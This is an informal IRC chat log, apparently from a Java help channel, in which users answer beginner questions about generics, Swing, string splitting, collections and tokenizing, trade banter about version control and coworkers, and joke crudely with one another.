[19:46:47] <javabot> IseeIsee, arrays is http://java.sun.com/tutorial/java/data/arrays.html
[19:46:49] <Clackwell> IseeIsee: google to sun java tutorial, then see arrays trail
[19:48:10] <Clackwell> my mother just discovered irc (by way of a java applet), and is now in the "let's talk about who was in this channel at what time" phase....<groan>
[19:48:39] <mohadib> haha
[19:48:48] <mohadib> Clackwell: what applet?
[19:49:04] <Clackwell> not to mention she bends the language like the most elite script kid...grrr
[19:49:13] <mohadib> ?
[19:49:18] <mohadib> your mom programs?!
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[19:49:27] <Clackwell> mohadib: naw, do script kiddies? ;)
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[19:49:32] <mohadib> haha
[19:49:44] <mohadib> Clackwell: no , but when moms script .,.. now thst cool
[19:49:54] <mohadib> my mom can bearly work outlook
[19:49:58] <mohadib> express
[19:50:48] <Clackwell> mohadib: yeah. i meant that instead of just using plain german she bends the words, writes them incorrectly on purpose, etc. you'd think age and intellect would prevent these infantile tendencies. ;)
[19:51:00] <mohadib> ahh
[19:51:08] <mohadib> like ....   how r u ?
[19:51:14] <mohadib> like aolbonics
[19:51:16] <mohadib> ?
[19:51:30] <rogue-kun{B}> Clackwell: prehaps she's hidding that she is a mom on line? 8)
[19:51:47] <Clackwell> mohadib: not quite like aolbonics, but...
[19:51:56] <Clackwell> rogue-kun{B}: it's not easy to tell, that's for sure.
[19:52:16] <Clackwell> looks more like a 12 year old kid doing first steps on the internet, or something
[19:52:38] <rogue-kun{B}> Clackwell: she not talki l33t is she? 8(
[19:53:12] <Clackwell> rogue-kun{B}: hell no, not yet
[19:53:16] <mohadib> haha
[19:53:28] <mohadib> Clackwell: dont let her go to the dark side
[19:53:32] <mohadib> they already got pr3d4t0r
[19:54:00] <Clackwell> awayfromHome: i think i was thinking about KeyboardFocusManager
[19:54:19] <Stork> what's wrong with this: HashMap<String,long> lastRefreshed = new HashMap<String,long>();
[19:54:28] <Clackwell> <groan> more code guessing?
[19:54:42] <ernimril> Stork: long is a primitive
[19:54:48] <awayfromHome> clackwell: im reading about it already :)
[19:54:48] <Stork> bleh
[19:54:49] <mohadib> Stork: use the interface  Map blah = new MapImpl()
[19:54:54] <Clackwell> "i won't tell you what the compiler said or what is not working, instead i'll rely on your motivation to guess what a snippet of code does"
[19:55:11] <mohadib> heh
[19:55:11] <Stork> Clackwell: i hope you die (in the nicest possible way)
[19:55:23] <Clackwell> Stork: hey, i'm just a messenger...;)
[19:55:27] <ernimril> Stork: we all die. someday...
[19:55:29] * Stork shoots
[19:55:47] <rogue-kun{B}> Stork: die peacigly a sleep not scrimming like his passenger? ;)
[19:55:54] <Stork> Clackwell: i didn't know you couldn't use primitives in generics, i suppose it makes sense though
[19:56:10] <Clackwell> Stork: can't tell. successfully avoided generics so far.
[19:56:23] <Stork> you cannot avoid generics
[19:56:27] <Stork> generics avoid you
[19:56:30] <Clackwell> and the snippets and discussions that i see about them here do not exactly increase my motivation to check them out.
[19:56:34] <Stork> ~tell Clackwell about generics
[19:56:35] <javabot> Clackwell, generics is http://java.sun.com/j2se/1.5.0/docs/guide/language/generics.html
[19:56:37] <mohadib> Clackwell: generics in there simple form are still very usefull
[19:56:43] <Stork> ^^
[19:56:44] <mohadib> their
[19:57:03] <Clackwell> Stork: there are plenty of resources about them, that i do know. yet when motivation fails...:)
[19:57:18] <Clackwell> mohadib: i am quite willing to believe that.
[19:58:09] <rogue-kun{B}> Stork: wuestion one what is String.long ? 8)
[19:58:17] <mohadib> fail early YAY!
[19:58:27] <Stork> it's like a long string :)
[19:58:40] <Stork> must go, dinner
[19:58:41] <Clackwell> mohadib: i'll wait for pred's bits about the 1.5 stuff and then read them, i think.
[19:58:46] <rogue-kun{B}> Stork beceu it not in the string api 8)
[19:59:34] <rogue-kun{B}> http://java.sun.com/j2se/1.5.0/docs/api/java/lang/String.html
[19:59:55] <rogue-kun{B}> my guess the reason it don't like it is well it don't exist8)
[20:00:13] <rogue-kun{B}> but as Clackwell said hard to tell with out the error message 8)
[20:00:20] <mohadib> Clackwell: last week i chaged my xml reading classes to use dom insted of sax , this caused NPEs in all the places where the database field names had been chaged on me -> value = node.getNondeValue();
[20:00:25] <ernimril> rogue-kun{B}: it was "<String, long> " it is a comma in there, not a dot
[20:00:55] <mohadib> Clackwell: the perl guys thought this was too fragile and wanted me to add some code sienlenty error in the background and keep going
[20:01:09] <ernimril> rogue-kun{B}: now, that does not work, you have to use "<String, Long>"
[20:01:19] <rogue-kun{B}> ernimril ahh I was underware you could set it to two differnt types
[20:01:21] <mohadib> Clackwell: after i tried explaning for a while , they still could not understand the concept of "fail early"
[20:01:39] <ernimril> rogue-kun{B}: well a Map have a key type and a value type.
[20:01:47] <rogue-kun{B}> ahh
[20:01:53] <ernimril> rogue-kun{B}: you can have a generic type with as many types as you like
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[20:02:27] <rogue-kun{B}> Stork looks like ernimril just answered your question 8)
[20:02:32] <Clackwell> mohadib: well. maybe they thought that the situation could be handled in the code? our current project is like that, first you write it to fail early and rigidly, and then through testing we decide where we need it to be able to handle problems (esp. silently).
[20:02:52] <rogue-kun{B}> has onlt used Generics with List for
[20:03:15] <mohadib> Clackwell: if you have objects and they need x y and z to create them selfs ... well its really hard to handel a stiuation when X is missing
[20:03:49] <mohadib> it should throw and error and exit lest you keep running while breaking stuff in the bakground
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[20:04:56] <shingoki> you should handle an error where you know what to do with it :)
[20:05:02] <mohadib> sure
[20:05:25] <mohadib> i agree , but some places there is no good way to handle an error and keep going
[20:05:34] <rogue-kun{B}> shingoki: true but in this case it sem the error was "insuffient data" 8)
[20:05:38] <mohadib> best to crash so the programer knows he has some code to fix
[20:05:44] <Clackwell> mohadib: yes, there are always cases where you can't handle a situation gracefully, or where ignoring the error/problem has further implications down the road, etc. that's why i wasn't very motivated about any of those many "ignore the error" cases that we added.
[20:05:57] <Clackwell> mohadib: but in retrospect any of them was really necessary to add.
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[20:06:35] <mohadib> i see it as my only form of defence
[20:06:56] <mohadib> these guys are always changing the flipping data base field names , this changes the xml i get
[20:07:00] <mohadib> they dont tell me
[20:07:17] <mohadib> so , this way , at least ill know when they change stuff on me
[20:08:16] <mohadib> the *head* coder at the shop would not know what a plan was it if bit him on the ass :p
[20:08:19] <rogue-kun{B}> mohadib, nih have it Signly spam the DB coders with the meaged, "Notify mohadib about the chnages you made to the DB..."
[20:08:27] <mohadib> HAHA
[20:08:35] <mohadib> javabot: rogue-kun{B}++
[20:08:36] <javabot> rogue-kun{b} has a karma level of 5, mohadib
[20:08:53] <Clackwell> mohadib: you guys do not work via cvs or something?
[20:09:05] <mohadib> i use svn , they think it is pointless
[20:09:13] <shingoki> yeah sometimes you end up with an error you really can't either deal with or throw on
[20:09:13] <Clackwell> <gasp>
[20:09:18] <ernimril> mohadib: you have no automated tests that run every hour or soo?
[20:09:18] <shingoki> I hate that stuff :(
[20:09:24] <mohadib> they just hack right on the live perl scripts that make upi the server side
[20:09:27] <mohadib> 2 of them
[20:09:31] <Clackwell> mohadib: yeah, it is pointless to be able to track changes, etc. :> <innocent whistle>
[20:09:43] <mohadib> and they dont even communicate between each other , much less with me
[20:09:47] * Clackwell takes a step away from mohadib
[20:09:58] <mohadib> ernimril: no :\
[20:10:19] <ernimril> mohadib: automated tests will tell you very early about big changes...
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[20:10:47] <Clackwell> yeah, have a test that checks the db schema :)
[20:10:53] <mohadib> good point :\  I should get familiar with JUnit already
[20:11:02] <mohadib> Clackwell: hehe i do know
[20:11:05] <shingoki> mohadib, so you work with gremlins?
[20:11:07] <Clackwell> OMGTheyFuckedUpTheDBSchemaAgainException
[20:11:08] <mohadib> its called start my client :p
[20:11:16] <shingoki> Clackwell, heh heh
[20:11:53] <mohadib> shingoki: i work with a pretty smart perl programmer (my boss)  , just that he has a new kid , a new morgage , another kid on the way , and the owner of the company puts way to much stuff on him
[20:12:05] <mohadib> so... he just streched way too thin
[20:12:15] <mohadib> and insit everyone "hack it out"
[20:12:18] <rogue-kun{B}> } Catch(OMGTheyFuckedUpTheDBSchemaAgainException fools) {System.out.spam(target, fools); }
[20:12:28] <mohadib> rogue-kun{B}: hhaa
[20:12:54] <mohadib> so , i do what i can
[20:13:01] <mohadib> they are slowly coming around about svn
[20:13:19] <mohadib> i recoverd a file that i deleted in haste about a week before :)
[20:13:26] <mohadib> they where impressed
[20:13:41] <Clackwell> mohadib: lack of version control is suicide imo
[20:14:13] <mohadib> yep
[20:14:47] <mohadib> i really like it , and some day if we hire another java programmer , well , we will be good to go - working as a team
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[20:15:18] <mohadib> the subversion plugin for eclipse (subclipse) has really matured the last 3 months
[20:15:23] <mohadib> it is very solid now
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[20:15:45] <degWORK> greetings folks
[20:16:35] <degWORK> I am reading in a file that is delimited like the following: this_var=1;that_var=1;etc=etc; and I want to parse this information into hash of sorts
[20:16:48] <mohadib> split()
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[20:17:05] <Clackwell> mohadib: actually...isn't lack of version control a severe sign of amateurism?
[20:17:15] <degWORK> i have used regular expressions to gather the first key but it would be much simpler to parse all the info and have key=>hash assignments
[20:17:15] <mohadib> sure , so is perl :p
[20:17:19] <mohadib> Clackwell: ^
[20:17:46] <Clackwell> ;)
[20:17:47] <mohadib> Clackwell: these guys are homegrown
[20:17:47] <ernimril> mohadib: perl is a tool it has its uses...
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[20:18:00] <mohadib> ernimril: i know , i actually think perl is neat
[20:18:12] <shingoki> mohadib, did they not use any version control before?
[20:18:15] <mohadib> perl -e is very nice
[20:18:29] <mohadib> shingoki: not for the web service , they still dont
[20:18:34] <ernimril> mohadib: I have some interesting scripts in perl that we use at work. Like our pre-commit hook...
[20:18:35] <mohadib> i just svn all my java projects
[20:18:38] <shingoki> mother of god that is dumb
[20:18:44] <mohadib> shingoki: yes
[20:18:48] <shingoki> mohadib, they just have files, and overwrite them?
[20:18:53] <mohadib> shingoki: exactly
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[20:18:57] <mohadib> they work on the file live
[20:19:21] <shingoki> crazy bastards :)
[20:19:26] <mohadib> yep
[20:19:29] <ernimril> mohadib: what happen if you have a disk crash?
[20:19:31] <allefant> how can i open a "java console" for a java applet in firefox?
[20:19:53] <ernimril> allefant: windows?
[20:19:55] <mohadib> ernimril: we have 5 weeks of backup
[20:19:59] * mohadib flexes
[20:19:59] <shingoki> I'm guessing that file is on a floppy, in a 15 year old drive, hung from a single silk cord over a freaking volcano?
[20:20:05] <allefant> ernimril: no, linux..
[20:20:06] <rogue-kun{B}> ernimril, that depend if the ingore backing up, as well
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[20:20:19] <mohadib> the dont ignore backup
[20:20:21] <ernimril> allefant: ok, run ControlPanel and set it to show, or start using appletviewer
[20:20:26] <allefant> ernimril: i can actually right-click and get a menu with it for applets failing to load..
[20:20:31] <mohadib> we where using Arkeia , i pitched it we know use Amanda
[20:20:37] <mohadib> Amnada is pretty nice
[20:20:47] <mohadib> now
[20:20:49] <mohadib> ...
[20:21:56] <mohadib> i had a slave db replicating in real time
[20:22:22] <mohadib> but the innodb hotbackup script ran on the master fucks the slave up everytime
[20:22:25] <IseeIsee> i'm using frame.setBackground() to change the color of my frame, but its not chaning
[20:22:29] <IseeIsee> any idea why ?
[20:22:45] <mohadib> IseeIsee: do it to the content pane??
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[20:23:16] <IseeIsee> you mean container ?
[20:23:32] <mohadib> getContentPane(),setBackground(Color.RED);
[20:23:34] <rogue-kun{B}>  frame.getContentPane().setBackground()
[20:23:38] <allefant> ernimril: thanks, the ControlPanel setting works :)
[20:23:57] <IseeIsee> no it still does not works
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[20:24:18] <mohadib> IseeIsee: well maybe you have JPanels etc covering the contentpane
[20:24:28] <IseeIsee> ya I have
[20:24:32] <mohadib> well...
[20:24:37] <IseeIsee> then ?
[20:24:40] <rogue-kun{B}> then chnag the panel's color 8)
[20:24:43] <hatOFF> someone worked with sockets in java? is it difficult?
[20:24:48] <Clackwell> mohadib: are you applying logic again? shame on you man!
[20:24:49] <mohadib> hatOFF: its easy
[20:24:54] <Clackwell> hatOFF: terribly
[20:24:56] <mohadib> Clackwell: ;)
[20:25:29] <IseeIsee> ok
[20:25:32] <Clackwell> hatOFF: do no crosspost to several irc networks please.
[20:25:38] <mohadib> hah
[20:25:45] <mohadib> Clackwell is omnipresent
[20:25:46] <IseeIsee> how can I make a Rectangle visible appear on frame ?
[20:26:02] <Clackwell> mohadib: naw, ricky is
[20:26:07] <hatOFF> mohadib, do you accept privmsg?
[20:26:22] <IseeIsee> can I combine the Rectangle with the Graphics ?
[20:26:30] <mohadib> hatOFF: na , my client doesnt accept them
[20:26:51] <Clackwell> IseeIsee: see java3d / graphics trail in sun java tutorial?
[20:26:56] <hatOFF> gosh
[20:26:59] <Clackwell> hatOFF: see sockets trail in sun java tutorial?
[20:27:07] <hatOFF> then join another channel, i'd like to talk with you on private :)
[20:27:37] * Clackwell smells a tutorial job via paypal
[20:27:44] <Clackwell> tutoring job, rather
[20:28:33] <IseeIsee> ok
[20:28:44] <IseeIsee> I have a table tennis table drawn on a frame
[20:29:01] <IseeIsee> I used the Graphics class to draw a polygon
[20:29:07] <mohadib> [hatOFF(i=deluxe at 193 dot 201.161.66)] can you do a socket server for me?
[20:29:18] * mohadib shakes head
[20:29:22] <IseeIsee> now a ball will be moving on the table, I want to detect the collision of ball with the table, is there any way ?
[20:29:22] <mohadib> kids today
[20:29:22] <Clackwell> mohadib: paypal...:)
[20:30:09] <Clackwell> he wants to hire a programmer.
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[20:30:33] <Clackwell> i sense some "people on irc are cheap" vibes, i believe...:)
[20:31:32] <rogue-kun{B}> Clackwell: there loose bots give the rest of us a bad rep ;)
[20:31:38] <IseeIsee> my question please
[20:31:47] <Calcifer> O.o
[20:32:01] <rogue-kun{B}> IseeIsee: Check the ball's bounds ever time you movie it.
[20:32:44] * rogue-kun{B} sounds like some been give the bousing ball homework but hasn't oppen his textbook to see the example code ;)
[20:32:50] <mohadib> Clackwell: well i sent hjim an example
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[20:33:02] <mohadib> Clackwell: I doubt it will help him :p
[20:33:08] <mohadib> ~pate
[20:33:09] <javabot> mohadib, I have no idea what pate is.
[20:33:12] <mohadib> ~paste
[20:33:12] <javabot> Paste your code, preferably a test case, any errors, and any other relevant information into the pastebin and tell us the URL: http://eugeneciurana.com/pastebin
[20:33:15] <Clackwell> mohadib: ask him for those 20 bucks her was offering for the job then....;)
[20:33:36] <mohadib> passwds changed
[20:33:52] <Drone> View mohadib's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8346
[20:34:07] <Calcifer> sup... im trying this example from the java website about 'rmi activiation' but i can only get it to work locally (it refuses to obtain the _stub file)
[20:34:16] <mohadib> i doubt that will help him :p
[20:34:16] <degWORK> how can i use a hash key/value like I would in perl with Java.  I can use regular expression in java but I am unsure how to setup a key=>value hash map
[20:34:17] <Calcifer> any suggestions on this ?
[20:34:24] <degWORK> can someone point me in the right direction
[20:34:26] <Clackwell> <mehdi007> What is the advantage of doing :  penis.getSize() than just doing penis.m_Size
[20:34:31] <Clackwell> yes, undernet...
[20:34:36] <ernimril> ~tell degWORK about collections
[20:34:36] <javabot> degWORK, collections is http://java.sun.com/tutorial/collections
[20:34:51] <Calcifer> the example im trying to get to work is this one "http://java.sun.com/j2se/1.4.2/docs/guide/rmi/activation/activation.3.html"
[20:36:04] <hatOFF> i'm trying to create a site like www.miniclip.com but I need a good java socket programmer that will create the server part and I will create the GUI.
[20:36:38] <rogue-kun{B}> Clackwell: tell him so STD.setSize() can;t get asses to penus.m_Size
[20:36:58] <Clackwell> rogue-kun{B}: i told him to fook off instead :)
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[20:38:44] <rogue-kun{B}> pundersif he was coding a computer game vertion of F.A.T.A.L
[20:39:38] <rogue-kun{B}> s/pundersif/ponders if/
[20:40:26] <Clackwell> hatOFF, didn't you forget that usd20 part?
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[20:40:39] * Clackwell is such a POS
[20:40:40] <degWORK> can you make scalar assignments to an array, e.g. int this, int that = [0,1];
[20:40:53] <rogue-kun{B}> though it can be anways to on of my first progam I wrote, "Dirry words hangman" ...he I was 8 at the time 8)
[20:41:05] <Clackwell> degWORK: does it really suck so much to read the sun java tutorial on the bits and pieces that you are going to use?
[20:41:19] <Clackwell> ~tell degWORK about bigindex
[20:41:20] <javabot> degWORK, I guess the factoid 'reallybigindex' might be appropriate:
[20:41:22] <javabot> degWORK, reallybigindex is http://java.sun.com/docs/books/tutorial/reallybigindex.html
[20:41:52] <degWORK> its more work finding the doc pertaining to what im asking that just goofing around and figuring it out
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[20:42:10] <degWORK> and i wouldnt even know where to begin to look for something that I am referring to
[20:42:13] <Clackwell> yeah, doing it right is more work, i agree with that. :)
[20:42:18] <hatOFF> Clackwell, $20 now or 50%
[20:42:21] <hatOFF> of the project
[20:42:26] <Clackwell> degWORK: "arrays"?
[20:42:33] <hatOFF> which can get up to $20k / month
[20:42:40] <Clackwell> hahaha
[20:42:41] <degWORK> anyhow i would like to do String this, String that = p.split(something);
[20:42:50] <Clackwell> mr. dotbomb
[20:43:28] <Clackwell> degWORK: i'd rather have sex with a real nice chick, but to each their own. :)
[20:43:29] <degWORK> instead of assigning String this[] = p.split(something); and then parse the "this[]" array
[20:43:52] <shingoki> degWORK, the API doc is organised by class, it is not hard to find out what a method does, providing you can read
[20:43:53] <mohadib> ?
[20:44:16] <mohadib> ~tell degWORK about bunny
[20:44:16] <javabot> degWORK, bunny is Just For You! http://www.userfriendly.org/illiad/wtf.jpg
[20:44:17] <slava> python's parser scans your input file for editor variables to guess the tab size
[20:44:31] <Clackwell> degWORK: you want to split a string and then immediately afterwards concatenate the result again?
[20:44:36] <mohadib> slava: sup foo
[20:44:43] <degWORK> example: php: list($this, $that) = $array;
[20:44:55] <Clackwell> slava: yo, homeboy
[20:45:06] <Clackwell> degWORK: i don't know no steenkin' php
[20:45:11] <mohadib> degWORK: nope
[20:45:24] <degWORK> i need the analog to that in java :o)
[20:45:25] <Clackwell> degWORK: you want to remove all occurences of a substring from a string?
[20:45:28] <slava> there is none
[20:45:39] <slava> no he wants destructuring
[20:45:52] <slava> (destructuring-bind '(1 2) (x y) (+ x y)) ==> 3
[20:46:01] <Clackwell> slava: hm. his explanation sucks as much as yours then, i think. ;)
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[20:46:11] <slava> Clackwell: see my example above, its more logical than the php equivalent
[20:46:22] <slava> Clackwell: it sets x to 1, y to 2
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[20:46:24] <mohadib> like perls  ($this , $that) = @_  etc
[20:46:30] <degWORK> p.split returns an array which i would like to grab two scalars from (since I know the array will be exactly 2 in length
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[20:46:35] <Clackwell> slava: are you trying to factor me? :)
[20:46:40] <slava> Clackwell: that's lisp man
[20:46:51] <Clackwell> slava: haha, ok, just guessing :)
[20:46:57] <degWORK> mohadib: exactly
[20:47:02] <slava> factor doesn't have variables in the conventional sense
[20:47:14] <mohadib> degWORK: nothing like that in java
[20:47:35] <degWORK> thats cool
[20:47:59] <Clackwell> mohadib: split and assign to two variables in one step?
[20:48:04] <slava> Clackwell: what's neat about destructuring-bind is that it can parse nested structures
[20:48:07] <degWORK> i just want some shortcut but i suppose there is not one
[20:48:13] <slava> Clackwell: its useful for working with trees (xml, etc)
[20:48:16] <Clackwell> wtf, can't we talk like normal people in here? :)
[20:48:21] <mohadib> Clackwell: take an array and make each member a named varabile
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[20:48:26] <mohadib> named object
[20:48:33] <degWORK> exactly
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[20:49:01] <Clackwell> mohadib: aha. i guess he'll have to get used to lack of such stuff in java.
[20:49:09] <mohadib> yep
[20:49:32] * Clackwell considers the time it took to come to such an easy to understand explanation of the desired functionality.
[20:49:47] <mohadib> ;)
[20:49:47] <slava> in prolog, X = 2 and 2 = X both bind 2 to X
[20:52:27] <jake> is there a Class method that will return the fully qualified class name for a class? e.g. com.example.services.MyService ?
[20:52:32] <slava> getName()
[20:52:39] <slava> surprisingly enough
[20:53:28] <mohadib> heh
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[20:53:46] <slava> i'm trying to finish some shit for work so i can get back to blinging with my fonts
[20:54:10] <mohadib> slava: the pic you showed me last night was far from blingin
[20:54:15] <mohadib> ;)
[20:54:26] <slava> yah i'm memcpy()ing shit to the wrong address
[20:54:35] <slava> overwriting someone else's ice
[20:54:39] <mohadib> haha
[20:54:45] <rogue-kun{B}> bling font all you you, just dont use the <blink> tag 8)
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[20:55:12] <witblitz> okay, trying again: can soeone have a look at http://pastebin.com/394599
[20:55:22] <mohadib> rogue-kun{B}: my shits so bligin people dont wate time blinking
[20:56:01] <ernimril> rogue-kun{B}: well you run a substitute on the browser binary to change blink to blonk... :-)
[20:56:23] <mohadib> ernimril: you made a joke!
[20:56:27] * mohadib is so proud
[20:56:28] <Stork> :O
[20:56:35] <mohadib> ernimril: ;)
[20:56:43] <ernimril> rogue-kun{B}: actually no, that is what I used to do with the netscape binary
[20:56:48] <slava> mohadib: stop counting my spokes fool
[20:57:03] <mohadib> slava: i was checking for rust
[20:57:09] <ernimril> mohadib: that was for you...
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[20:57:20] <mohadib> javabot: ernimril++
[20:57:20] <javabot> ernimril has a karma level of 31, mohadib
[20:57:25] <rogue-kun{B}> I dont see much use of the link tag nowedays
[20:57:30] <Stork> ~ernimril++
[20:57:31] <javabot> ernimril has a karma level of 32, Stork
[20:57:35] <Stork> :o
[20:57:37] <slava> mohadib: there should be a <bling> tag that is equivalent to <img src="mohadib.jpg">
[20:57:44] <mohadib> ahahaha!!
[20:57:48] <slava> mohadib: shows a guy wearing gold chains and 5 inch collar
[20:57:53] <Clackwell> good idea for a virus
[20:57:55] <mohadib> nice
[20:58:06] <Clackwell> "mohadib is watching you..."
[20:58:07] <mohadib> with some gold teef too
[20:58:37] <Clackwell> and below that one of these all time top ten ugliest picture of the internet, ever
[20:58:45] <mohadib> haha
[20:58:49] * mohadib bows
[20:58:53] <Clackwell> like, slava in his mom's dress
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[20:58:58] <mohadib> hahaha
[20:59:00] <slava> he might be ugly but he's got a fur coat and a diamond ring
[20:59:02] <mohadib> that wasnt his moms
[20:59:09] <mohadib> he bought that with his allowance
[20:59:18] <mohadib> slava: ;)
[20:59:40] <mohadib> slava: my street name is Dirty , cause thats how i like it
[20:59:47] <rogue-kun{B}> mohadib: i though you were going to say it was his dad's
[20:59:54] <mohadib> haha
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[21:01:02] <Clackwell> this is one filthy channel
[21:01:11] <mohadib> hehe
[21:01:39] * mohadib wonders where jwormy is
[21:01:39] *** Hikaru79 has quit IRC
[21:01:42] <mohadib> ~jwormy
[21:01:42] <javabot> mohadib, jwormy is an asshat.
[21:01:47] * mohadib nods
[21:02:32] <slava> mohadib: so when are you gonna leave your drug dealing behind and become a rap star
[21:02:46] <mohadib> slava: na , i gots to keep it real
[21:02:47] <Clackwell> ah, someone's watched an mtv movie...:)
[21:03:14] <mohadib> slava: im too ugly for the public , im the man behind the curtains
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[21:05:10] <rogue-kun{B}> mohadib hows the down payment for your pimp-mobile comming ;)
[21:05:32] <mohadib> you talking abiout th pinto wif platnum curb feelers?
[21:05:37] <mohadib> </close ebonics>
[21:05:53] <mohadib> <aolbonics> how ru </aolbonics>
[21:05:57] <slava> mohadib: its just the way you grew up talking in the hood
[21:06:04] * rogue-kun{B} prays to what ever is holy please save this channel by some askking an intresting java question!
[21:06:20] <Storkme> what is an int
[21:06:21] <mohadib> slava: w0rd
[21:06:25] <Storkme> :)
[21:06:30] <mohadib> slava: 32bits of love
[21:06:37] <mohadib> er Storkme
[21:06:38] <slava> i'm trying to figure out how to draw a non-antialiased line in opengl
[21:06:46] * Storkme was joking (badly)
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[21:07:11] <Mazon> slava, if drivers have forced AA there is nothing you can do about it
[21:07:13] <slava> java's int do not satisfy any useful mathematical properties
[21:07:28] <slava> its not even an integral domain; x * y = 0 does not imply x = 0 or y = 0
[21:07:29] <rogue-kun{B}> Storkme: hence the interesting part of the reqauest 8)
[21:07:59] <witblitz> can someone please have a look at http://pastebin.com/394599
[21:08:20] <Storkme> keke!
[21:08:36] <Clackwell> witblitz: it is more interesting to read a problem description here, i guess
[21:08:45] <rogue-kun{B}> witblitz: I'm not knowlgible on ant
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[21:08:54] <Clackwell> no clue about ant or hibernate
[21:08:56] <witblitz> Don't flood; anything over 2 lines ...
[21:09:12] <slava> i use make ;)
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[21:09:30] <witblitz> it's nor my problem, siomeone asked me to ask here, he's totallu stuck (can't connect)
[21:09:31] <Clackwell> witblitz: nothing wrong about posting error descriptions though, as long as you don't flood. details to the pastebin, when asked for it.
[21:09:35] <Clackwell> slava: nasty!
[21:10:07] <Clackwell> witblitz: i recall nothing but problems with middle-man irc help/consulting.
[21:10:14] <slava> Clackwell: i'm going to write my own build system one day
[21:10:26] <witblitz> i can't tell him to pissoff
[21:10:27] <ernimril> slava: what do you miss in make?
[21:11:05] <slava> ernimril: have you used asdf?
[21:11:27] <rogue-kun{B}> witblitz: social obligations huh?
[21:11:31] <ernimril> slava: no
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[21:11:37] <witblitz> indeed :/
[21:11:42] <ernimril> slava:  I use make
[21:12:05] <Storkme> how can i get the size of a bufferedimage?
[21:12:08] <rogue-kun{B}> witblitz: prehaps tha ant forum might have a clue 8)
[21:12:10] <Storkme> eg, in bytes?
[21:12:17] <cdubya> if you setup an instance of StringTokenizer and then use .nextToken, how far does it read for tokens (say, if you set the delimiter to be \t)......?
[21:12:20] <witblitz> ugh
[21:13:17] <Clackwell> cdubya: i don't understand the question? are you asking for internal details (irrelevant to the outside)?
[21:13:37] <Clackwell> Storkme: dimension you mean?
[21:13:53] <Storkme> nope
[21:13:57] <Storkme> i mean size in bytes
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[21:14:04] <Clackwell> Storkme: in memory?
[21:14:07] <Storkme> yes
[21:14:14] <Storkme> it's for the Content-Length http header
[21:14:20] <rogue-kun{B}> cdubya: it read untill thet delimert, or end of string, which ever comes first
[21:14:32] <Clackwell> Storkme: in-memory representation is not what you might want to send, i'd guess.
[21:14:34] <ernimril> Storkme: you do not know how big the image will be as a jpeg
[21:14:45] <ernimril> Storkme: either chunk data or close the connection when you are done
[21:14:51] <Storkme> is it possible?
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[21:14:56] <Clackwell> is what possible?
[21:15:00] <Clackwell> is the sky blue?
[21:15:05] <cdubya> Clackwell, I'm working on a problem that I'm supposed to open a file, read in the data, bust it into tokens, then write each token into a different array so that I can derive an avg and grade value for each student....
[21:15:33] <Clackwell> cdubya: ok, sounds like streamtokenizer is the way to go.
[21:15:47] <cdubya> so what I did was setup a while loop and then set the value of each array[i] = token.nextToken......
[21:16:25] <Clackwell> cdubya: how do you know the number of tokens in advance?
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[21:16:48] <cdubya> it's coming from a file that we were supposed to type up the data for.
[21:17:26] <slava> what is the format of the file?
[21:17:27] <mohadib> like  john=90 ?
[21:17:34] <Clackwell> cdubya: so your program is written with the assumption that the number of tokens is well known?
[21:17:41] <cdubya> Clackwell, yep
[21:17:45] <cdubya> slava, txt
[21:17:49] <mohadib> heh
[21:17:51] <slava> cdubya: no
[21:17:55] <Clackwell> cdubya: ok. txt is not a format.
[21:17:56] <slava> cdubya: the syntax of the data
[21:18:06] <rogue-kun{B}> cdubya you might want to star the item into a List insead of an Array in the case where you would be unure on how meny tokkens ther will be
[21:18:43] <cdubya> rogue-kun{B}, I would if I knew how.....but our instructor wanted us to use parallel arrays for this one....
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[21:19:08] <cHaoTiCa> heh
[21:19:10] <Clackwell> rogue-kun{B}: it would be cool to have a filter for that, to fix the errors. :-) with neural networks or something
[21:19:30] <Clackwell> TypoFix0rPlugin
[21:19:56] <rogue-kun{B}> Clackwell god I wish i did hava such a filter for my wetware OS 8/
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[21:21:50] <cdubya> slava, I guess I didn't understand what you're looking for.....the information is just typed with spaces and tabs in a text file.......in the format id \t name \t test1 \t test2 \t test3 \t test4
[21:21:59] <slava> ok
[21:22:26] <rogue-kun{B}> cdubya frell if parrel arrays are part of the requirments doc that what you got to use 8(
[21:22:37] <mohadib> split on tab , array copy out the the name and id
[21:22:45] <Clackwell> a mix of spaces and tabs? that's disgusting. :)
[21:23:03] <cdubya> there's really only spaces in the name.....
[21:23:29] <rogue-kun{B}> Clackwell: delimt on \t then trim() ?
[21:24:02] <cdubya> here's what I'm doing on the strings.....        			id[i] = tokens.nextToken();
[21:24:03] <slava> cdubya: what are you trying to do with the data?
[21:24:10] <mohadib> i would use a map of some sort a thin[][] doesnt seem the right structure
[21:24:10] <slava> cdubya: average each student's results?
[21:24:14] <cdubya> and the slava, yep
[21:24:28] <cdubya> the avg works fine, as does the grade....
[21:24:40] <cdubya> when I output it, it figures it correctly, but only for one student....
[21:24:50] <cdubya> so my loop's messed up, but I don't know why
[21:24:59] <cdubya> at least, that's what I thought....
[21:25:01] <mohadib> ~testcase
[21:25:02] <javabot> mohadib, testcase is a minimal independently runnable program, which demonstrates the problem; see http://www.physci.org/codes/sscce.jsp for details and a HOWTO
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[21:26:17] <cdubya> here's what I did for the test scores......                	test1[i] = Integer.parseInt(tokens.nextToken().trim() ) ;
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[21:28:44] <jmop> Doc's on applet signing?
[21:28:47] <jmop> firefox
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[21:29:56] <rogue-kun{B}> cdubya how big the project? small enough to past to the pase bing without making a testcase?
[21:30:18] <cdubya> I can paste it somewhere if it would be easier.....
[21:30:42] <cdubya> got a favorite location?
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[21:30:54] <rogue-kun{B}> ~tell cdubya about pasebin
[21:30:54] <javabot> cdubya, I have no idea what pasebin is.
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[21:31:03] <rogue-kun{B}> ~tell cdubya about patsebin
[21:31:03] <javabot> cdubya, I have no idea what patsebin is.
[21:31:07] <jmop> haha
[21:31:08] <rogue-kun{B}> ~tell cdubya about pastebin
[21:31:08] <javabot> cdubya, Paste your code, preferably a test case, any errors, and any other relevant information into the pastebin and tell us the URL: http://eugeneciurana.com/pastebin
[21:31:14] <axxo> ~tell rogue-kun{B} about spelling
[21:31:15] <javabot> rogue-kun{B}, I have no idea what spelling is.
[21:31:37] <rogue-kun{B}> axxo google: dysgraphia ;)
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[21:31:44] <thuneon> hi there
[21:31:49] <jmop> hidy ho
[21:31:51] <cdubya> be gentle.        :)        http://eugeneciurana.com/pastebin/pastebin.php?show=8347
[21:31:58] <gumpish> Anyone ever instantiated a SchemaFactory using the RELAX NG schema language?
[21:32:11] <thuneon> anyone an idea how i replace the LAST "," in a String against an "und" ?
